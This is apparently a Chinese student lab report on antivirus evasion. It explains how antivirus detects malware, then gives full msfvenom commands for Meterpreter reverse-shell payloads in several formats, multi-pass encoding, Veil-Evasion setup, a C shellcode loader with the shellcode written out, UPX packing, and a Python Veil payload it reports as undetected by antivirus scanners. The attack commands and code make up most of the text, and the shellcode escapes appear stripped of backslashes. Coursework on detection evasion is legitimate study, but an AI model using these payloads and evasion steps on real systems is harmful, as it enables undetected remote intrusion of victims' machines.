实验三 免杀原理与实践
一、基本概念
1、杀软是如何检测出恶意代码的?
杀毒软件一般通过一下几种方式检测恶意代码:
- 基于特征码的检测:通过检测一个可执行文件是否包含一段或多段符合特征的数据来判断是否是恶意代码(最基础的木马查杀技术)
- 启发式恶意软件检测:简单来说就是根据些片面的特征去推断。如果一个软件在干的通常是恶意软件干的事,看起来像了某个恶意软件,就将它当做是恶意软件
- 基于行为的恶意检测:理论上讲,相当于是启发式的一种,或者说是加入了行为监控的启发式
2、免杀是做什么?
免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。 简单的说:杀毒软件的原理是匹配特征码,而免杀的目的就是要修改这些特征码。
3、免杀的基本方法有哪些?
(1)1.改变特征码:
如果手里只有exe
- 加壳:压缩壳、加密壳
有shellcode(如Meterpreter): - 用encode进行编码;基于payload重新编译生成可执行文件
有源代码: - 用其他语言进行重新编写
(2)改变行为
1、通讯方式 - 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
2、操作模式 - 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
3、非常规方法 - 使用一个有漏洞的应用当成后门,编写攻击代码即成道MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
二、实验操作
一、生成后门进行扫描
实验二中已经生成了后门程序,我们现在可以直接在VirusTotal和Virscan这两个网站对生成的后门程序进行扫描(注意⚠️:Virscan扫描的文件名不能包含数字,因此要提前修改)。
从扫描结果可以看出,我们不加任何处理的后门程序大多数杀软都可以检测得到,因此我们用msf编码器对后门程序进行一次到多次的编码,查看编码后的检测效果。
- -e用来选择编码器
- -b用来去除需要去除的字符,应使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符
- -i设置迭代次数,这里设置迭代次数为10
生成一次编码的后门程序:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.118.136 LPORT=5317 -f exe > exp3.exe
生成十次编码的后门程序:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.118.136 LPORT=5317 -f exe > encoded10.exe
由此可见经过编码后虽然被检测出的概率下降了,但是大多数杀软还是可以将其检测出来。
二、msfvenom生成如jar之类的其他文件
首先先生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.118.136 LPORT=5317 x> 20181208jar.jar
生成jsp文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.118.136 LPORT=5317 x> 20181208jsp.jsp
生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.118.136 LPORT=5317 x> 20181208php.php
生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.118.136 LPORT=5317 x> 20181208apk.apk
三、使用veil-evasion生成后门程序
这里我使用的是中科大的源
首先进行下载操作:
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
sudo apt-get update
安装veil:使用sudo apt-get install veil进行veil的安装
运行到这一步,按照提示输入我红色框框起来的代码
之后他也是一路报红,但是需要你操作的你就直接y就好,运行完毕了就能用veil了
下一步:使用sudo运行veil,输入use evasion
之后输入命令use c/meterpreter/rev_tcp.py进入配置界面
使用set LHOST 192.168.118.136设置反弹连接IP地址
使用set LPORT 5317设置端口
使用generate命令生成文件,接着输入生成的playload的名称veil20181208,保存路径为/var/lib/veil/output/source/veil20181208.exe
按老规矩放到virustotal中看看我们千辛万苦veil生成的隐蔽性如何
结果显示我们费九牛二虎之力下的veil效果也就那样吧,白忙活半天qwq!
四、使用C+shellcode编程生成后门程序
使用如下指令生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.118.136 LPORT=5317 -f c
创建20181208.c,将buf添加到代码中
unsigned char buf[] = "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30" "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff" "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52" "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1" "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b" "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03" "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b" "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24" "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb" "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c" "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54" "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x7ax88" "x68x02x00x14xc5x89xe6x50x50x50x50x40x50x40x50" "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5" "x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67" "x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff" "xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00" "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56" "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58" "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5" "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85" "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1" "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5"; int main() { int (*func)() = (int(*)())buf; func(); }
使用i686-w64-mingw32-g++ 20181208.c -o 20181208.exe
生成exe可执行文件
放到virustotal中看看效果:
看样子在大多数杀软面前还是会出现问题!
五、加壳工具
使用命令upx 20181208.exe -o 20181208pro.exe
对20181208.exe加壳
把20181208pro.exe扔进去检查检查:
阿这,这竟然比正常的要多,我猜测是加壳之后,有些软件会拒绝加壳程序的原因qaq。
六、通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
Step1:输入veil
之后再输入use evasion
进入免杀平台:
从上图可以看到输入list
可以查看可用的payloads,那么就输入list
查看一下:
可以看到序号7是老师在指导书中使用的payload,用的是C语言,这边我准备用一个不一样的payload,用的是Python。
Step2:输入use python/meterpreter/rev_tcp.py
进入配置页面,可以看到现在options还是默认值,因此我们需要设置某些options。
Step3:输入set LHOST 192.168.118.136
和set LPORT 5317
,分别设置反弹连接的IP地址和端口号。可以输入options
查看设置后的结果
Step4:输入generate
生成文件,根据提示输入文件名:la20181208
Step5:生成文件时,系统会问如何创建负载可执行文件?
,我选的是2 Py2Exe
,然后就能看到文件的存放目录了。
Step6:将runme.bat文件复制到Windows中,并用Virustotal识别,检出率是0/58。
用virscan扫描,检出率为0/49。
七、通过组合应用各种技术实现恶意代码免杀
上一步中可以看到veil生成后门文件,使用Python语言就是能实现免杀功能,甚至检出率为0。
在刚刚runme.bat文件的基础上加压缩壳和加密壳,来实现免杀。
经过火绒检查,没有任何问题。
八、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑环境:win10主机
杀毒引擎:火绒
杀软版本:5.0.59.9
木马库版本时间:2021-04-1
九、问题回答
1、杀软是如何检测出恶意代码的?
用自己的语言描述的话,我认为可以分为以下两种:
- 根据特征码检测:就是恶意代码都有一些特征数据,也就是特征码,这些特征数据存储在AV厂商的特征库中。如果一个文件被检测出他的某些特征数据是特征库中的特征数据,那么这个文件就被认为包含恶意代码。
- 启发式检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
2、免杀是做什么?
免杀就是让本身能被杀毒软件发现的恶意代码,通过一些手段加工后,使得它不能被发现。
3、免杀的基本方法有哪些?
从被检测的角度考虑,恶意代码会因为特征码或是行为被发现,那么免杀方法就有两大类:
- 改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。
- 改变行为:使用反弹连接、隧道技术、加密通讯数据等。
4、开启杀软能绝对防止电脑中恶意代码吗?
不能,从实验来看,如果通过一些方式改变了恶意代码中的特征码,那么恶意软件将不被杀毒软件发现,但这并不意味着该文件是安全的、没有病毒的。
十、实验体会
本次实验操作性较强,不是很难,但是过程比较复杂。我在安装veil的时候遇到了很多问题,花了很久的时间才解决。后面做免杀操作的时候,也要结合之前几次实验的内容。通过实验,我也发现了开启杀软并不能完全防止电脑中恶意代码,因此不能完全依靠杀软来维护电脑的安全。